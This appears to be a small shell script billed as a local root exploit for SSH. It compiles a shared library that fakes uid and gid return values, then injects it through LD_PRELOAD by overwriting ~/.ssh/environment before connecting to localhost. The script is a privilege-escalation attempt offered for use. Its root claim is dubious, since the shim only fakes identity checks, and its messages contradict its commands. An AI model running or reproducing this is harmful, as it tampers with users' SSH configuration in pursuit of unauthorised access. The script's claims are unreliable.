#!/bin/sh
# cow_d0g3@yahoo.co.uk
# Old old exploit, just for fun..
# Don't be fooled by the #


echo "";
echo "Local Root Exploit for SSH - searches for gcc and ssh in your path";
echo ""
sleep 1;
echo "Running system checks"
pwd;
id;

echo "Simple gcc check..."
sleep 1;
for i in `which gcc`; do echo "gcc found.." ; done
sleep 1;
echo "Looks like we have a c compiler.."
echo ""
echo "checking for ssh.."
sleep 1;
for i in `which ssh`; do echo "ssh found.." ; done
sleep 1;
echo ""

echo "

#include <stdio.h>

int getuid(void) { return (0); }
int getgid(void) { return (0); }
int geteuid(void) { return (0); }
int getegid(void) { return (0); }

" > /tmp/setuid.c

ls -als /tmp/setuid.c
echo ""
sleep 1;
echo "Our file is now in /tmp..."
echo "Time to compile..."
sleep 1;
gcc -o /tmp/setuid /tmp/setuid.c -shared -Wall
echo "Checking its compiled.."
sleep 2;
for i in `ls -als /tmp/setuid`; do echo "Compiled no problems..." ; done
sleep 1;
echo "Backing up your ssh enviroment file..."
cp ~/.ssh/environment ~/.ssh/environmentBACKUP;
sleep 2;
echo "About to run command.. echo 'LD_PRELOAD=/tmp/hhp' > ~/.ssh/environment";
echo 'LD_PRELOAD=/tmp/setuid' > ~/.ssh/environment
sleep 1;
echo ""
cat ~/.ssh/environment;
sleep 2;
echo "Now, that's done.. we need to log in via ssh... the rest is up to you..";
echo "Run this when you log in:   unset LD_PRELOAD";
sleep 5;

ssh -v localhost